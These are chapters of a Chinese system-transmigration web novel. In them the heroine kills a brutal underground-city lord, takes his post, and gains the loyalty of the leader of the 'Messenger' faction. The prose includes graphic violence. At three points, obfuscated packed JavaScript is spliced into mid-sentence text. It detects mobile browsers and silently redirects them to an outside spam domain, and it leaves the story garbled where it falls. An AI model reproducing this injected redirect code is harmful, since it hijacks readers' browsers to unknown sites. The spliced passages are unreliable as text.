闵朝言面无表情地收回手,默默想着。 ‘我昏迷之后,发生了什么?’ 她问系统。 「你昏迷之后,他吓了一跳,抱着你一直嚎,然后……就有一个人出现了,把你们俩捡了回来。」 系统说。 捡了回来? 直到这时,闵朝言才有余力抬眼看着自己所处的房间。 和予烬那一尘不染的实验室不同,这里看上去十分普通,就像是末日之前,最常见的居民楼房间,干净,朴素。 她抬脚轻踹开趴在自己身上的狼孩,手撑着床铺坐起来。 狼孩安静地坐在床脚,眨巴着眼睛看了一会儿,又小心翼翼地趴下来,把头搁在闵朝言的腿上,一动不动地看着她。 见闵朝言没有再踹他一脚,狼孩有点高兴,他晃了晃脑袋,像是在摇尾巴。 ‘我的感染进度加深了。’ 她和系统说。 她的左臂依然不能行动,皮肤此刻胀红发紫。 在昏迷之前就开始溃烂的地方已经被人细心用纱布包好,但不必肉眼观察伤口,闵朝言也能从那纱布里渗出的黑色血丝中看出,病毒对自己的侵蚀必定已然加深。 「阻断道具在逐渐开始失效了。我们要抓紧了!」 系统说, 可抓紧什么? 闵朝言不知道,系统也不知道。 在刚刚进入副本时,她们以为堕灵病毒对副本的侵蚀还只是刚开始,只需要按照原本的剧情,将情节掰回来,将稍有黑化的主角掰回来就可以了。 然而,真正经历过之后,她们才发现,主角已经被彻底感染,黑得发亮,原剧情不仅仅不能提供帮助,反而会误导她们。 在这个情况之下, 到底要怎么做,才能把副本“掰回来”? ‘之前的主角予烬已经彻底被侵蚀,情节也产生了很大的偏移,但是副本依然在运转,你也没有检测出问题。’ 闵朝言说, ‘所以,副本运转的核心并不是主角,也不是剧情。’ 「那还能是什么?」 系统愣了一下。 一个副本当中,永远不变的,除了已经设定好的主角和已经被规划过的剧情, 还有什么真正永远不变,永远唯一的? ‘是选择主角,规划剧情的那个存在。’ 闵朝言说。 「作者?对!作者是永远不会改变的!」 系统恍然大悟。 这个副本的作者,就是主神意识碎片。 祂决定一切,选择主角,设置剧情,不管这两者怎么换,只要祂依然有着“选择”的权力,那么祂就还是这个副本的“作者”,是这里的主人。 ‘如果堕灵想要抢夺这个副本,只感染主角是没有用的,因为主角可以被更换,祂要感染的对象应该……’ 闵朝言意识到什么,问系统, ‘主神的意识碎片,在副本中会有实体化身吗?’ 「这部分信息是高级封存状态,我现在请求权限!」 系统马上回答。 「不……怎么回事?我没办法和主系统沟通了!」 系统大惊, 「我的通讯被阻断了!」 闵朝言转头看向窗外的一片黑暗,心渐渐沉下去。 ‘看来有没有实体,已经不重要了。这个副本已经被堕灵包围了。祂现在,正在缓慢地蚕食一切。’ 她说。 如果主神意识碎片有实体, 那么堕灵只需要缓慢地感染这个副本中的一切,最终一定可以成功感染到自己的目标; 如果主神的意识碎片没有实体,只是依托于副本的虚无存在, 那么堕灵依然还是会感染这个副本中的一切——直到意识碎片无处可依,只剩下被感染这一个结果。 殊途同归。 「那我们怎么办?如果这个副本被吞噬了,我们都会死的!」 系统说。 ‘按第一种可能性,先找。’ 闵朝言说。 如果主神的意识碎片没有实体,此刻无法与主系统沟通的系统根本束手无策。 闵朝言决定先向自己更能使得上力的地方走。 “你醒了。” 房间的门被打开,一个人走进来。 是一个很年轻的男人, 剑眉星目,面若冠玉,是那种很正统的英俊,几乎每个五官都挑不出任何缺点,可偏偏,又让人记不住他的长相。 就好像,他只是一个“英俊”的概念,而非具体的一个人。 系统适时弹出他的角色面板。 「姓名:鹤棠」 「身份:“畸变末日”副本—男配一」 「年龄:未知」 「状态:正常」 「战力:76」 「黑化进度:2%」 闵朝言的视线落在那个「黑化进度:2%」上,忍不住挑了下眉。 这可真是她从进入这个副本之后,见到的最低黑化值了,唯一的个位数。 这个人的意志力……一定很强。 仙鹤一般的姿态,棠花一般的姿容,这名字很衬他。 闵朝言心想。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272339|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁?” 闵朝言问。 鹤棠站在闵朝言面前,态度很好地单膝跪下,让闵朝言可以平视着自己,声音温和: “我是‘信使’,折日已经告诉过我发生过什么了。” 他指的大概就是闵朝言如何突然出现又杀掉予烬,最后独自逃出来躲避追杀这件事。 「他是“信使”?!乱套了,真是乱套了!」 系统哀嚎。 在原剧情中,鹤棠是第一男配,和(前)男主予烬一样,他是被希望联盟收养的孤儿,和予烬从小一起长大,二人之间感情很好。 他是予烬的对照组,一个在抗争中丧失了对正义的信心,倒向强权的角色,在成年之后,他背叛了希望联盟,投奔了大反派城主。 当然,在原剧情里,他会被予烬感化,认识到爱与正义的可贵之处,冒着生命危险为予烬通风报信,成为奠定胜局的重要角色。 然而现在…… 他成为了“信使”。 在原剧情里,虽然组织“和平鸽”并不存在,但“信使”这个角色却是存在的,他是曾经大反派手下的一名研究员,帮助大反派研究出了“畸变病毒”。 然而,在人类因此进入末日后,他因为无法承受良心的拷问从大反派手下逃了出来,躲在地下城的角落里。 纵观副本,信使是一个引导型角色,负责为予烬提供暂时的庇护和重要的线索: 庇护,指的是予烬第一次离开希望联盟之后无家可归的短暂时间。 而重要的线索,指的是 ——畸变病毒的出现和爆发,并非天灾,而是人祸。 “折日说,你可以帮我。” 闵朝言问。 “嗯,我可以,我也愿意。” 鹤棠,也就是“信使”点头。 他的态度好到过分, 让人很难相信他是一个统领着地下城最神秘组织的首领。 闵朝言更加心生警惕。 比起明晃晃的狠辣角色,一个能够坐稳高位的温和好人才更应该小心防备。 当好人总是更难的, 不管在什么位置上。 “你打算怎么帮我。” 闵朝言问,对着他伸出自己的左臂, “你看到这个伤口,应该知道我已经感染了。” “你不问问我为什么帮你?真是聪明人从不说废话。” 鹤棠笑了一声,他的态度熟稔,为闵朝言盖上被子,亲昵中带着关切,仿佛和闵朝言已经是相交多年的老友。 “你的伤口是我包扎的,我能看出来你已经感染了。 但这正是我要帮助你的原因,我从未见过,一个人可以在这样严重的感染下,撑到现在。” 鹤棠看着闵朝言的眼睛,很认真地说, “你很强大,所以,我相信你会是我们的机会。” “什么的机会?” 闵朝言开口。 “终结这一切的机会。” 鹤棠的眼神凝重,双手握成拳,良久,叹了一口气, “我曾经以为,予烬可以带我们走向结局,但他最后输给了欲望。” “他太想拯救所有人了。” 他的声音里带着深沉的遗憾。 拯救所有人? 闵朝言有些疑惑。 「前男主不是已经黑透了吗?我看他毁灭世界还差不多。估计这个男配也是被骗的吧。」 系统说。 闵朝言心中却有种不同的预感。 “为什么?” 闵朝言忽略自己心跳时,左臂传来的抽痛,开口问。 “因为这一场畸变,不是人祸,是天灾。” 他说。 8. 暴君与地下城(8) 天灾? 鹤棠的这个表述,恰恰好和之前剧本里的设定完全相反。 在原剧情中,“信使”收留了予烬,并且告诉他,畸变病毒的产生并非是一场莫名其妙的天灾,而是蓄意毁灭的人祸。 从这个节点开始,予烬才开始真正接触地下城的黑暗过往,揭开被尘封的秘密。 而此刻,闵朝言的面前也站着一位不同的“信使”,但他说的却是: 这不是一场人祸,而是天灾。 闵朝言沉思。 从人祸到天灾,这其中的改变从何而来。 其实细想也不复杂, 之前在剧情里中的灾难性病毒是“畸变病毒”,那是一个由大反派研发出来的人造病毒;而现在的副本…… ‘堕灵病毒显然远远强于畸变病毒,它已经将畸变病毒吞噬了。’ 闵朝言对系统说。 「不会吧?剧情已经崩到这个地步了吗?病毒都没了?那反派还成立吗?没有了大反派故事怎么发展啊?!」 系统愣了。 在一个故事中,大反派的重要丝毫不逊于主角。 TA承载着故事的暗线,是灾难的发起者,是主角需要打败的目标,TA与TA所做下的恶行,是整个故事的基石。 甚至有的时候,比起需要坚持爱与正义的主角,大反派才是真正的灵魂角色。 而在原剧情中,那位城主大反派就是一个这样的角色, 他狂热,冰冷,极度天才,却是一个崇尚毁灭的疯子。 为了研制畸变病毒,他不惜用全人类的命运来做实验,将自己的亲生孩子予烬进行基因编辑,当成实验耗材。 一个完美的疯子。 因此,尽管他犯下的罪恶罄竹难书,是一个实打实的大反派,但他在玩家论坛的角色热度角逐中常年占据前列,甚至能超过主角予烬。 然而在现在已经被扭曲的剧情中,这位幕后boss所做的一切都已经被一键清空——毕竟畸变病毒已经不复存在了。 一个人用二十年时间毁灭世界,那么他是一个邪恶大反派; 一个人用了二十年时间想要毁灭世界,结果发现自己的终极武器居然直接消失了……那么他是一个笑话。 大反派可以坏,可以狠,可以疯狂无序毁灭一切, 但是,绝对不可以没有“格调”。 「哇,顶级反派变小丑了……」 系统有气无力,它已经彻底放弃纠正剧情了。 什么剧情,不存在的? 什么主角反派?爱咋咋地! ‘我有一个想法。’ 闵朝言勾起唇,眼中浮现满满兴味。 这是她锁定猎物的眼神。 “我听说这一任城主,是杀了上任城主,然后上位的。” 闵朝言说。 鹤棠听着,点了点头: “是,他杀死了上任城主,抢到了‘太阳’的钥匙。” “那如果我杀了他,我也可以做城主吗?” 闵朝言看着他的眼睛,露出一个轻快的笑容,问道。 在地下城中, 尽管有各种势力林立,权力结构错综复杂,但不管地下如何争斗,这座城市的主人一直不变: 城主。 或者说,掌握着“太阳”钥匙的人。 地下城中没有自然光, 所有的光源都来自于一个城市中的巨大人造灯,人们将其称之为“太阳”,当灯光被调暗的时候,就自然成为了“月亮”。 这座人造灯是第一任城主的发明,他正式因此才获得了这座城市主人的地位。 然而,就在五年前,他被杀死,现任城主从他的尸体中抢走了“太阳”的钥匙,获得了现在的地位。 作为这座城市中最强大的人之一,现任城主有着极强的战斗力, 即使不像前任城主一样有一群极其忠诚的人为他效力,现任城主身边也不缺乏因为力量而追随其中的下属。 “这个人基本是个明牌的畸变者了。” 鹤棠说。 进入副本到现在,闵朝言终于遇见了一个和原剧情里相符合的情节: 鹤棠如今是城主麾下,只不过不是研究员。 “我可以带你去到城主居所,不过,我不认为你能打赢他。” 鹤棠的答案很直白。 闵朝言也知道这一点, 不过,她本来也不打算纯靠武力值解决这个问题。 —— 地下城·城主居所 身材魁梧的男人坐在沙发上,喉结滚动咽下烈酒,把酒杯直接砸在脚下踩着的笼子上。 笼子通体黑色, 里面锁着一个半大少年,笼内逼仄,甚至没有空间让胸膛呼吸起伏。 玻璃碎裂落在皮肤上,划出一道道狰狞伤口,又在下一秒愈合。 “杂种,你叫一声,老子就给你吃饭。” 魁梧男人狞笑,用力朝铁笼踩下,金属震荡声中,笼子上足有手指粗的钢筋逐渐变形。 “叫啊!杂种!你给老子叫!” 陌生脚步传来,由远及近,半点不掩饰自己的踪迹。 魁梧男人,猛地抬起头来,拿起桌上的另一个酒杯将前掷去! 破空声中,一只手稳稳接住了那只杯子,是鹤棠。 “鹤棠?你现在过来干什么?” 魁梧男人醉醺醺的声音中,有点疑惑,随后,他看到鹤棠身边站着一个陌生的面孔。 “你好啊,现任城主。” 闵朝言微笑着和他打招呼。 “你是什么东西?!鹤棠,你这是要造反吗?!” 城主看到眼前的一幕,脸色发黑,肢体紧绷,明显戒备起来。 「这是城主?等等,不对劲啊!」 系统惊讶。 ‘什么意思?’ 闵朝言问。 在她眼前的,是属于魁梧男人的信息栏: 「姓名:吴城」 「身份:“畸变末日”副本—路人npc——信息错误!(已更新)现任城主」 「年龄:未知」 「状态:感染」 「战力:91/100」 「污染进度:100%」 100%感染值…… 闵朝言愣了一下,这是她进入副本之后,遇到过的最高感染值。 而且 ——这个城主的名字不对啊!哪有超级大反派叫吴城的,这么土的名字! ‘这不是原剧情中的大反派。’ 闵朝言皱起眉。 「好嘛,之前的传奇反派现在不仅仅是笑话,还是个死人了。」 系统垂头丧气。 但闵朝言冥冥中觉得, 事情似乎没有那么简单。 “我很抱歉,不过,我必须服从她的指令。” 鹤棠说着,向后退一步,让闵朝言站在了自己前方。 “呵,一个女人,就能让你这么神魂颠倒?” 吴城冷笑,想要再说什么,却被闵朝言直接打断。 “我叫闵朝言,最近需要小小拯救一下世界,正好需要一个城主的位置,” “不如你去死,送给我吧。” 她说着,笑容真诚,语气轻快: “反正这个位置,本来也不是你的。” “口气不小啊。” 吴城怒目瞪向眼前的女人,语气阴森,显然已是怒极,拧笑着握紧双拳, “你想要我的位置,那就拿命来换好了!” 他出拳速度极快,肉眼甚至已经几乎看不清移动轨迹,只有猎猎破空声传来。闵朝言向侧身避过,右手顺势拿起桌上的一把匕首应对,可当兵器与皮肉相交时,刀刃居然被瞬间打碎! 闵朝言看着眼前一缕黑发散落——那是被拳风削下来的。 看来,这人能以如此暴戾的性格在地下城作威作福,也是有真本事撑着的。 闵朝言扔掉已然报废的匕首,感到血液因战意沸腾。 然而,下一秒左臂传来的剧烈抽痛又将她的战意压了下去。 该死的堕灵, 闵朝言心中暗骂。 城主的攻势极其猛烈,闵朝言步步后退,余光落在不远处的铁架子上。 就在拳头即将锤到闵朝言心口前,城主的动作突然停住,半空中的黑发也被定在原地。 怎么回事? 时间,被暂停了。 不,应该说,这个世界都静止了,连空气中的尘埃都不再流动。 这是系统的杰作吗? 它居然能做到这个地步,闵朝言暗暗心惊。 「我不知道你的计划是什么,但不管是什么,现在都要用了!」 系统的声音急切。 「我是透支积分使用的紧急时停,你只有三秒钟!」 三秒钟。 三秒钟可以干什么? 对于一个普通人来说,这也许只够拿起放在眼前的武器, 对于一个经过训练的战士来说,这却已经足够终结一条性命。 即使左臂受伤几乎无法动弹,战力值锐减,但闵朝言依然是《物·源》中最强大的玩家之一, 三秒钟,足够她用手中的匕首割断吴城的大动脉,甚至割下他的头颅。 但她没有这么做, 她的第一刀,刺进了自己的血肉里, 正在她感染中毒已经开始溃烂的左臂上。 「你在干什么!?」 系统大惊。 ‘我想验证自己的一个猜测。’ 剧痛之下,闵朝言勉力平静,但尾音依然不可控制地带上一丝颤抖。 匕首闪着寒光,划开渗血的纱布,挖出一块肉,溃烂着,被塞进了吴城的嘴里。 利刃划开他的嘴巴两边,魁梧男人却呆呆站在原地,场面荒诞而恐怖。 三秒钟,结束。 感染蔓延的速度极快,吴城大口咳出黑血,他甚至反应不过来自己身上到底发生了什么,就已经双膝跪地,倒在地上。 “你、怎么…会……” 他不可置信地看着眼前的女人,问出一个自己永远不会得到答案的问题, 然后,睁着眼睛,停止了呼吸。 他死了。 快速地,无可逆转的,真正的死了。 闵朝言看着吴城躺在地上的尸体,神色竟然有点恍惚。 她要的答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272340|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经得到了,但这并没有让事情变得更好哪怕一点。 吴城是堕灵病毒的感染者,感染程度100%,这证明他已经被彻底感染,身体完全向病毒臣服。 在这个前提条件下,更多更深的病毒也许会加深他的畸变,也许会狂化他的畸变, 但无论如何,不可能也不应该,直接杀死他。 那个闵朝言一直疑惑的问题终于有了答案, ——杀死吴城的不是高浓度的堕灵病毒,而是闵朝言自己。 我……到底是什么? 闵朝言感觉到自己的心跳声渐渐放大,从左胸口,到左边手臂,一直到大脑中的咚咚声。 「成功了!你用畸变病毒杀死他,太聪明了!」 系统小声欢呼。 “他死了。” 鹤棠蹲下,谨慎地再次探查了一遍吴城的气息,终于下定了结论。 “那么,我是新的城主了吗?” 闵朝言问。 “……我没有找到‘钥匙’。” 鹤棠的声音凝重起来。 他说的,指的就是那个用来控制地下城中,人造太阳的钥匙。 人造太阳是地下城的命脉,掌握了它,就掌握了这座城市。 这样重要的东西,任何人都不会假手于人。 但地下城曾经的“主人”,这座城池的城主吴城, 居然没有钥匙? 那他还算是真正的主人吗? 那个至关重要的钥匙,又在谁哪里? “把他被杀的消息放出去,告诉所有人,我的就任仪式会在明天早上。” 闵朝言说。 “但是如果那个人出现……” 鹤棠皱眉。 闵朝言骤然出现,以杀上位,即使有着鹤棠的支持,也本就不可能服众。 如果那个人出现,手拿钥匙,反对闵朝言, 事态会变得非常棘手。 闵朝言并非不知道这一点。 她不是冲动的性格,也知道自己现在最好的选择绝不是直接站上高台成为众矢之的。 不,可以说, 从被迫绑定系统,进入这个副本之后,她就一直没有做出过最佳选择, 不是她不知道, 只是没有选择。 最佳的路线需要时间,她偏偏最没有的就是时间。 [51:49:05] 副本时间还在倒数, 故事即将走向崩塌。 “没关系,我等就是TA来找我。” 闵朝言按住自己的伤口,神色平静坚定。 鹤棠转身离去,安排一切。 闵朝言独自坐在月光下。 夜色中,她身上的血迹被染上一点莹莹的蓝色,竟有种圣洁之感。 说月光,其实也不是真的月亮,那只是被调暗了的模拟太阳,在夜晚时,它就会成为“月亮”。 这是地下城中最奢侈的“自然光”了。 系统自虚空中看着她。 无端端地,想起一个词,那是它在来自某一个已经毁灭文明的资料库中看到的: 以杀救度。 闵朝言正在看自己的玩家版面。 [闵朝言] [玩家身份:系统绑定任#务*者/*&^] [当前身份卡设定:地下城的新城主] [备注:恭喜你,作为(曾经)一个出场就死掉的路人NPC,果断地杀掉了愤怒的(现任)城主呢!] 身份卡会变,这不稀奇。 [玩家积分:1000] [拥有道具:sss级武器·溺亡者;净化道具·痛痛快停下!(已使用)] [游戏商城:未开启(1/30)] 但积分的变动,就很有意思了。 如系统所言,闵朝言作为玩家如果想要获得积分,必须通过“净化副本”的方式,即掰正剧情,净化主角等等方式,才能获得积分。 而她刚刚获得了一千积分。 但“作为路人甲NPC杀死现任城主”这种行动,无论如何都不可能被归类为“掰正剧情”。 「咦?这个积分为什么变了?」 系统也疑惑地出声。 看来系统也不知道这个积分是从何而来。 也就意味着,就连系统自己都不理解它的积分机制是如何操作的。 闵朝言沉默思考着,垂下眼。 有一瞬间,有什么想法在她的脑海中掠过,然而转瞬即逝,她自己也没有抓住。 “哗啦……哗啦……” 什么声音? 闵朝言转头看去,声音的来源是一个漆黑的笼子,那里面蹲着一个瘦骨嶙峋的少年,身上散发着血液干枯之后的腥臭气息,她下意识皱起眉。 「姓名:——#姓名读取错误!」 「身份:“畸变末日”副本—%角色读取错误!」 「年龄:未知」 「状态:狂躁」 「战力:*&战力值读取错误!/100」 「污染进度:——污染进度读取错误!」 这个信息界面居然和狼孩几乎一致。 尤其是,“读取错误”这一项。 9. 暴君与地下城(9) 他是谁? 闵朝言看着被关在狭小笼子中的少年男孩,微微皱起眉。 和狼孩几乎完全一致的信息页面, 这也是个未完成角色吗? 这个副本到底还有多少漏洞? 那个主神的意识碎片到底是睡得多沉才能搞出这种产物啊?! 闵朝言很少骂人,但她现在真的有点不爽。 “……救,救我。” 忽然,一个极其微弱的声音浮起,与其相反的,却是一只飞快抓住笼子边缘的手,瘦骨嶙峋,却带着极其执拗的力道。 闵朝言没打算理会他,却在听见少年的下一句话时顿住了脚步。 “救救我……主人。” 他说。 —— 地下城又有了一位新的城主。 大家争相议论着这件事,当然,是在昏暗的影子里,寂静的酒馆里,一声声被压到最低的窃窃私语里。 毕竟,谁也不知道这个新城主是什么样的人,唯一知道的,是她杀了吴城。 那个旧城主,吴城。 他喜欢杀人,喜欢折磨自己的俘虏, 在地下城里,这不算是什么大事,许多权贵都有这样的爱好。 让人们最恐惧的,是作为城主,他选择“玩具”的兴趣太广泛了。 一般权贵会盯上的,无非就是自己身边的人,人们只需要小心避开他们的目光,就能保全一条性命。 但吴城不是这样的,他兴起时,甚至会让手下在街上随意抢人。 他对玩具没有特定喜好,男女老少都不在意,他只喜欢“钻研”那些手段, 抽打,火烧,剥皮亦或在眼眶中灌入水银…… 只要他想, 任何人都是他的玩具,任何人都可以被这样对待。 这个新的城主,也会有这样的权力吗? 人们瑟瑟发抖地,互相问着自己早已经知道答案的问题。 在遍布了地下城的阴影中,他们努力将自己的身体蜷缩得更小一些,更不显眼一些。 但新城主的就任仪式,再想要蜷缩起来的人,不敢不来。 恐惧就是这样,没有道理,无法违背。 闵朝言站在高台上。 这里是地下城唯一的行刑台,石头高高堆起来,足以让上面的人被所有人看到。 她蹲下,伸出手摸着石头上面被火焰灼烧出的裂痕。 那上面的痕迹狰狞重叠,仿佛是某种扭曲虫子尸体被交错着压在了一起。 “人都到了?” 闵朝言问。 鹤棠站在她身后,开口说: “是的,他们都为了您而来。” “为了见我,还是为了杀我?” 闵朝言打趣。 “为了知道以后自己的噩梦,由谁主演。” 鹤棠微笑着回答。 “那可真是殊荣。” 听到这个答案,闵朝言笑了一声。 人群在低处聚集,黑压压一片,看不清任何一个人的长相,他们发出的声音混在一起,细碎不清。 在地下这样苟延残喘着,在无可避免的危机之下拼命努力也不知道自己究竟可以活到哪一个明天。 人类和老鼠, 好像其实也没有区别。 到了生死关头,不管是自诩文明进化的人类,还是老鼠虫豸,本质上都是一样的,也都会做出没有任何分别的选择: ——活下去, 不顾一切地,活下去。 “这就是新城主?” “看上去好年轻……没有吴城那么吓人。” “她会不会好相处一点?” 这是战战兢兢在猜测的。 “这么年轻就能杀了吴城?好可怕。” “我们走吧,別触霉头了。” “还是听一听,万一有事呢。” 这是在谨慎观察的。 “真漂亮啊……” “这么年轻的女人能杀了吴城,不会是在床上……” “闭嘴,小心她听见!” 这是不知死活和不想被连累的。 「果然是副本世界,不管是什么时候都一定会有不知死活的炮灰冒出来。」 系统吐槽。 确实,如果在现实世界,再嘴贱的人都不敢在这样的场合出声犯贱。 ——最多在网上发帖找骂。 只有副本世界里,才必然会有这种嘴贱NPC出声叫嚣,方便主角打脸或者反派拉仇恨。 “这么多人她听见什么?再说了,我说的难道不是真话?这么好看的女人,肯定早就嘿嘿——” 嘴贱NPC还在忠实履行自己的设定,直到他的脑袋突然被一片石头切开,直接掉在地上。 闵朝言晃了晃手腕,有点不满意的样子,自我反思: “不习惯用右手,角度不对,带了一截脖子下来,好丑。” 在她的审美里,一颗头干干净净地落地,那才算是命中。 人头落地,激起一阵灰尘, 和血液一起喷涌而出的还有恐惧。 “啊——!!!” 尖叫声,脚步声,一场恐惧引起的骚乱即将爆发,然而就在那之前一秒,骚乱的人群中,出现了一个个带着面具,手持武器的黑衣人。 “是‘和平鸽’!他们来了!” 人群中爆发出带着惊喜的声音。 在地下城的三个势力中, 吴城崇尚暴力血腥,以武力镇压;希望联盟连接紧密,但极其排外;只有神秘的“和平鸽”算是和民众们站在一起,会给予他们一定的保护。 和希望联盟的“家人关系”不同,和平鸽是绝对的上下级组织,所有的成员,都对“信使”抱有无上的忠诚。 因此,尽管吴城是名义上的城主,但真正在这座城市中有着控制权的,却是“和平鸽”,以及它的领导者“信使”。 “信使大人,是信使大人!” 人群中有声音高呼。 闵朝言转身一看,鹤棠不知何时已经戴上了象征着“信使”身份的面具,同样的白鸽面具,只是眼角边多了数条金色的花纹。 “他是来砸场子的吗?” 有人低声问。 不止一个人有这样的疑惑,像微雨一样的议论声又起来了,很微弱,但无法被抹去。 “信使大人!我们支持你!” 突然,有一个人高声呼喊道。 “信使大人!” “信使大人!” “我们愿意跟随信使大人!” 呼喊声一声声叠加,黑压压的人群汇聚出声浪。 吴城死了,新的城主也许没有那么暴戾,也许没有那么可怕! 说不定,她是可以被推翻的! 说不定,他们可能推翻她! 声浪忘情地呼唤着一个真正仁慈的“主人”, 全然忘记了上一个冒犯她的人,此刻头颅已经和身体分家,鲜血将地上的尘土都浸染。 「怎么办怎么办?鹤棠不会真的要背刺你吧?」 系统有些紧张。 闵朝言面上神色不变,看不出一点慌乱,眼中甚至浮现出淡淡笑意。 然而,在她背后手中,“溺亡者”的鞭影渐渐浮现,随时准备出战。 “看来今天这个就任仪式,不一定是我的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272341|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她看向鹤棠,眼神锐利专注。 顶着几乎将人刺穿的视线,鹤棠没有说话, 沉默在高台之上蔓延。 “信使大人!信使大人——信使……大人。” 浪潮一样的呼声渐渐停下,也许是因为他们发现了,那些带着鸽子面具的“和平鸽”们,没有加入他们忘情的呼喊。 “怎么会呢。” 鹤棠终于开口,一如既往地,是那样温和的笑意,亲昵而优雅。 他一步步走向闵朝言。 鹤棠实在不像是在地下城里生活着的人, 他一身白衣,脸上的白鸽面具用金边花纹描绘图腾,身材挺拔,一双腿长而笔直,迈出的每一步,都如同仙鹤般,有种高洁优雅之态。 这只高洁的鹤走到闵朝言身前,单膝跪下,头深深垂下,露出洁白如玉的后颈, 献上性命的,最高的忠诚与臣服。 “这是您的仪式,” “这是您的城池,” “我和这座城池一样,完全地臣服都属于您。” 他说。 仙鹤低下高傲的头颅,这是他第一次,也是生命中唯一一次, 宣告自己的忠诚。 所有的和平鸽全部随着他的动作单膝跪地, 他们向自己的新主人宣誓效忠。 声浪被吹散,死一般的寂静在城中蔓延,那些已经熄灭的声浪们,个个都恨不得有人能够给刚才的自己灌一碗哑药。 滚落在地上的头颅,鲜血已经流干了,人们终于注意到了它的存在。 人群再一次骚动起来,这一次,是因为恐惧。 恐惧很安静,没有声音,也不会停止。 一个,又一个,人群矮了下去, 如同他们跟随着第一个呼喊的人而呼喊,此刻他们也跟随着第一个跪拜的人而跪拜。 闵朝言看着这一切发生。 她觉得很有趣。 “我是你们的新城主,” “我在找一个东西。” “找到的人,奖励你们……” “活下去。” 她笑着说。 说完这句话,她转身离开。 她只说了三句话,只杀了一个人。 她甚至没有因为人群的呼喊而愤怒,而杀人, 只是平静地接受了“和平鸽”的朝拜。 可她带给地下城的恐惧, 却比杀了千百人的吴城要深得多得多。 吴城再暴虐,再恐怖, 终究还算是一个人,只是一个可怕一些的人。 但是她呢? 她……是什么? 而和平鸽,和平鸽…… 第一个跪下的是个女人,她刚才没有加入呼喊的浪潮,她从一开始就紧紧盯着高台上的闵朝言。 和平鸽不再是他们的保护者了。 脸上带着狰狞伤痕的女人心想着,露出充满了期待的笑容。 新的城主, 会带来末日。 她坚信着。 人造太阳的光芒渐渐熄灭,人群也逐渐散去,小巷中,一个戴着兜帽的身影呆呆伫立。 “我们该走了。”有人提醒。 那人却恍若无闻,只默念着: “找一个东西,找一个东西……” “你说,她要找的会是我吗?” 他喃喃道,语气中充满了热切的渴慕。 兜帽下,一张秀美又绚烂到极致的美丽面容上,带着稚童一般天真烂漫的笑容。 他瘦削的手臂上, 一道深可见骨的伤口正在缓缓愈合,藏起那涌动着的浅蓝色血液。 10. 暴君与地下城(10) 地下城迎来了一位暴君, 她要找一个东西。 什么东西? 人们问。 前往集会的底层人民是最快开始寻找的, 因为他们清楚,如果有人要死,他们会是最先开始要死的。 是珍贵的财宝吗? 人类进入末日多年,在地下城里苟延残喘,他们已经没有任何的财宝了。 是强大的武器吗? 在面对强大畸变怪物时,人类已经用尽了自己所有的强大武器,现在就连一把枪,都是黑市里的顶级珍品。 那还有什么? 这座破败,贫瘠,了无生机的地下城里,还有什么是值得被寻找的? 人们掀翻了自己所拥有的一切, 一个个被挖开的半地下室里一片狼藉,街上的摊子在争抢中所有的物品落在地上粉碎, 粮食? 不对,城主怎么会吃这些已经馊掉的陈米; 衣物? 不可能,城主怎么会穿这些已经缝缝补补过千百遍的破布; 还有吗? 破烂不堪的“家”,会将嗓子撕裂的“饭”,不知道自己还算不算得上的“人”。 在一阵迷茫之后,人们开始看着四周的一切,心中浮现起这个问题: 这里还有什么……值得生活的? 我这样的人生,到现在还算是活着吗? 她呢, 那个新上任的城主, 只需要一个笑容就让整个地下城开始颤抖的暴君, 她想要的, 到底是什么? “你想找的是什么?” 鹤棠问。 闵朝言回到城主的居所, 已经有“和平鸽”将整座房子上上下下打扫干净,连一应家具都换上了新的。 她坐在真丝床单上,没有回答,只是对着鹤棠抬起自己的左手,神色显得有些倦怠。 “你有没有止痛剂?” 闵朝言问。 鹤棠单膝跪下,抬手解开她左臂上的纱布,看着溃烂的伤口,轻叹一声,竟然显得极为痛心一般: “感染加重了。” 闵朝言忽然生出一点恶趣味,用已经不太能自如行动的左手勾住他的下巴,迫使男人的视线对着自己。 ? 鹤棠眨了眨眼,那张英俊而正直的脸上,恰到好处地出现了一些疑惑。 “怕吗?” 闵朝言用僵硬的手指抚摸过他的脸,笑着问他。 “……怕。” 鹤棠点头。 “今天的这场戏,是你安排的。” 她忽然说。 「什么?」 系统没听明白。 “最开始高声支持你的那个人,和刚才铺床单的那个‘和平鸽’,手的形状一模一样。” 闵朝言说着,附身凑近鹤棠,视线盯着他的眼睛,不错过一丝一毫的表情变化。 “你离我这么近,我会想亲你。” 鹤棠忽然笑了下。 …… 闵朝言的动作顿住了。 好诡异。 这种老实人突然开始试图撩人但是手法又很过时的尴尬感。 